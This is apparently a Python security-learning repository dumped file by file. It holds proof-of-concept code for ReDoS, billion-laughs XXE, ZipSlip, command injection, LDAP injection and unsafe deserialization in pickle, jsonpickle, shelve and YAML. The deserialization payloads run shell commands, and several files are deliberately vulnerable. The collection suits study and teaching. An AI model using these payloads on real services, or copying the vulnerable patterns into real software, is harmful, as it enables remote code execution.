-------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import http.server 5 | import socketserver 6 | 7 | PORT = 8000 8 | 9 | Handler = http.server.SimpleHTTPRequestHandler 10 | 11 | with socketserver.TCPServer(("", PORT), Handler) as httpd: 12 | print("serving at port", PORT) 13 | httpd.serve_forever() 14 | -------------------------------------------------------------------------------- /src/PythonSecurity/HPP/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/ReDoS/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/ReDoS/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import re 5 | import time 6 | 7 | # regex = r"^(a+)*$" 8 | regex = r"^(([A-Za-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~])+)*$" 9 | pattern = re.compile(regex) 10 | 11 | for i in range(16, 30): 12 | begin = time.time() 13 | text = 'a' * i + '.' 14 | result = pattern.match(text) 15 | if result: 16 | print(result.groups()) 17 | cost = (time.time() - begin) * 1000 18 | print('%s takes %dms' % (text, cost)) 19 | -------------------------------------------------------------------------------- /src/PythonSecurity/ReDoS/poc2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import re 5 | import time 6 | 7 | pattern = re.compile(r'Current ACLs for resource `' 8 | r'(?P\S*).*:' 9 | r'(?P\S*).*`:') 10 | 11 | re.X 12 | 13 | begin = time.time() 14 | text = 'Current ACLs for resource `' + ':' * 3456 15 | pattern.search(text) 16 | cost = (time.time() - begin) * 1000 17 | print('%s takes %dms' % (text, cost)) 18 | -------------------------------------------------------------------------------- /src/PythonSecurity/XXE/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/XXE/billion_laughs/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/XXE/billion_laughs/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | 5 | def generate_xml(): 6 | base_xml_doc = '%s]>&lol9;' 7 | 8 | def generate_line(start): 9 | sub = f"&lol{start - 1};" if start > 1 else "&lol;" 10 | return f'' 11 | 12 | return base_xml_doc % "".join([generate_line(i) for i in range(1, 10)]) 13 | -------------------------------------------------------------------------------- /src/PythonSecurity/ZipSlip/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/ZipSlip/vuln_tarfile.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | """ 5 | tarfile存在zip slip问题。 6 | """ 7 | 8 | import tarfile 9 | 10 | 11 | def extract(tar_path, target_path): 12 | try: 13 | tar = tarfile.open(tar_path, "r:gz") 14 | file_names = tar.getnames() 15 | for file_name in file_names: 16 | print(file_name) 17 | tar.extract(file_name, target_path) 18 | tar.close() 19 | except Exception as e: 20 | raise e 21 | 22 | 23 | if __name__ == "__main__": 24 | extract("./evil.tar.gz", "./") 25 | -------------------------------------------------------------------------------- /src/PythonSecurity/ZipSlip/vuln_zipfile.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | """ 5 | 使用zipfile不会遭受zip slip攻击。虽然构造的恶意压缩包文件名包含"../",但是使用zipfile解压时,仍然会将文件解压到目录文件,不会存在跨目录问题。 6 | """ 7 | 8 | import zipfile 9 | 10 | 11 | def unzip_file(zip_src, dst_dir): 12 | r = zipfile.is_zipfile(zip_src) 13 | if r: 14 | fz = zipfile.ZipFile(zip_src, 'r') 15 | for file in fz.namelist(): 16 | print(file) 17 | fz.extract(file, dst_dir) 18 | else: 19 | print('This is not zip') 20 | 21 | 22 | if __name__ == "__main__": 23 | unzip_file("./evil.zip", "./") 24 | -------------------------------------------------------------------------------- /src/PythonSecurity/blind_regular_expression/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/blind_regular_expression/vuln.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import random 5 | import re 6 | import string 7 | 8 | from timeout_decorator import timeout, TimeoutError 9 | 10 | SECRET = ''.join([random.choice(string.ascii_letters) for i in range(30)]) 11 | print(SECRET) 12 | 13 | 14 | @timeout(2) 15 | def search(r, s): 16 | return re.match(r, s) 17 | 18 | 19 | def handle(r): 20 | try: 21 | search(r, SECRET) 22 | return True 23 | except TimeoutError as e: 24 | return False 25 | except Exception as e: 26 | return True 27 | -------------------------------------------------------------------------------- /src/PythonSecurity/command_injection/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/command_injection/test_cmd_execution_func.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import pty 5 | 6 | # 需要保证命令参数是列表类型 7 | # 如果传入字符串,只能执行命令,无法带参数 8 | pty.spawn("ls") 9 | 10 | try: 11 | pty.spawn("ls -alt") 12 | except Exception as e: 13 | print(str(e)) 14 | 15 | pty.spawn(["ls", "-alt"]) 16 | -------------------------------------------------------------------------------- /src/PythonSecurity/command_injection/vuln_danger_command.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import re 5 | import os 6 | 7 | 8 | def checkInputParm(parm): 9 | if not parm: 10 | return True 11 | regStr = "^[a-zA-Z0-9\\s_.-]{0,255}$" 12 | patternStr = re.compile(regStr) 13 | if patternStr.match(parm) is None or ".." in parm: 14 | return False 15 | else: 16 | return True 17 | 18 | 19 | def ip_netns_command(params): 20 | if checkInputParm(params): 21 | cmd = "ip netns exec " + params 22 | os.system(cmd) 23 | 24 | 25 | if __name__ == "__main__": 26 | ip_netns_command("test ls -alt") 27 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/LearningJsonpickle/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/LearningJsonpickle/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import subprocess 6 | 7 | import jsonpickle 8 | 9 | 10 | class Exp: 11 | def __reduce__(self): 12 | # windows poc 13 | # return os.system, ("calc.exe",) 14 | # Linux poc 15 | return os.system, ("touch /tmp/jsonpickle_deserialization",) 16 | # subprocess 的 poc 生成有问题,正确的poc参照vuln中。 17 | # return subprocess.Popen, (["touch", "/tmp/jsonpickle_deserialization"]) 18 | 19 | 20 | s = jsonpickle.encode(Exp()) 21 | print(s) 22 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/LearningJsonpickle/vuln.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import jsonpickle 5 | import os 6 | 7 | # windows 8 | # poc = '{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cmd.exe", "/c", "calc.exe"]}]}]}' 9 | 10 | # linux 11 | # subprocess 12 | # poc = '{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["touch", "/tmp/jsonpickle_deserialization"]}]}]}' 13 | # os.system 14 | poc = '{"py/reduce": [{"py/function": "posix.system"}, {"py/tuple": ["touch /tmp/jsonpickle_deserialization"]}]}' 15 | print(poc) 16 | jsonpickle.decode(poc) 17 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/LearningMarshal/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/LearningPickle/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/LearningPickle/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import pickle 6 | 7 | 8 | class Exp: 9 | def __reduce__(self): 10 | # windows 11 | # return os.system, ("calc.exe",) 12 | # Linux 13 | return os.system, ("touch /tmp/pickle_deserialization",) 14 | 15 | 16 | poc = pickle.dumps(Exp()) 17 | print(poc) 18 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/LearningPickle/vuln.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import pickle 6 | 7 | 8 | class Exp: 9 | def __reduce__(self): 10 | return os.system, ("calc.exe",) 11 | 12 | 13 | poc = pickle.dumps(Exp()) 14 | 15 | # poc = b'\x80\x04\x95 \x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x08calc.exe\x94\x85\x94R\x94.' 16 | pickle.loads(poc) 17 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/LearningShelve/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/LearningShelve/vuln.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | import shelve 6 | 7 | 8 | # os.system('touch /tmp/pickle_deserialization') 9 | class exp(object): 10 | def __reduce__(self): 11 | return os.system, ('touch /tmp/shelve_deserialization',) 12 | 13 | 14 | filename = "/tmp/test" 15 | db = shelve.open(filename) 16 | db['exp'] = exp() 17 | # close函数调用sync函数将字典序列化存储至指定文件。 18 | db.close() 19 | 20 | # 这里是用来阻塞程序,方便poc调试。 21 | input() 22 | 23 | # 反序列化文件内容,导致漏洞被触发 24 | db = shelve.open(filename) 25 | print(db['exp']) 26 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/LearningYaml/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/LearningYaml/vuln.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import yaml 5 | 6 | poc = "!!python/object/apply:os.system [\"touch /tmp/yaml_des\"]" 7 | 8 | # LearningYaml.load(poc) 9 | # LearningYaml.safe_load(poc) 10 | # LearningYaml.unsafe_load(poc) 11 | 12 | data = b"""!!python/object/apply:subprocess.Popen 13 | - calc""" 14 | 15 | poc2 = "!!python/object/apply:subprocess.check_output [[\"calc.exe\"]]" 16 | 17 | deserialized_data = yaml.load(poc2) # deserializing data 18 | print(deserialized_data) 19 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/LearningYaml/vuln_after_5.1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import yaml 5 | import flask 6 | 7 | poc = """!!python/object/apply:subprocess.Popen 8 | - !!python/tuple 9 | - cmd.exe 10 | - /c 11 | - calc.exe""" 12 | 13 | poc2 = """!!python/object/new:tuple 14 | - !!python/object/new:map 15 | - !!python/name:eval 16 | - [ "__import__('os').system('calc.exe')" ]""" 17 | 18 | # LearningYaml.load(poc, Loader=LearningYaml.Loader) 19 | yaml.load(poc2) 20 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/LearningYaml/vuln_before_5.1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import yaml 5 | 6 | poc = "!!python/object/apply:subprocess.check_output [[\"calc.exe\"]]" 7 | # 等价于 LearningYaml.load(poc, Loader=LearningYaml.SafeLoader) 8 | yaml.safe_load(poc) 9 | -------------------------------------------------------------------------------- /src/PythonSecurity/deserialization/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/ldap_injection/01-ldap_vuln_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from flask import request 5 | import ldap 6 | 7 | 8 | @app.route("/user") 9 | def user(): 10 | dn = request.args['dn'] 11 | username = request.args['username'] 12 | 13 | search_filter = "(&(objectClass=*)(uid=" + username + "))" 14 | ldap_connection = ldap.initialize("ldap://127.0.0.1:389") 15 | user = ldap_connection.search_s(dn, ldap.SCOPE_SUBTREE, search_filter) # Noncompliant 16 | return user[0] 17 | -------------------------------------------------------------------------------- /src/PythonSecurity/ldap_injection/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | -------------------------------------------------------------------------------- /src/PythonSecurity/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask 2 | requests 3 | lxml 4 | jsonpickle 5 | --------------------------------------------------------------------------------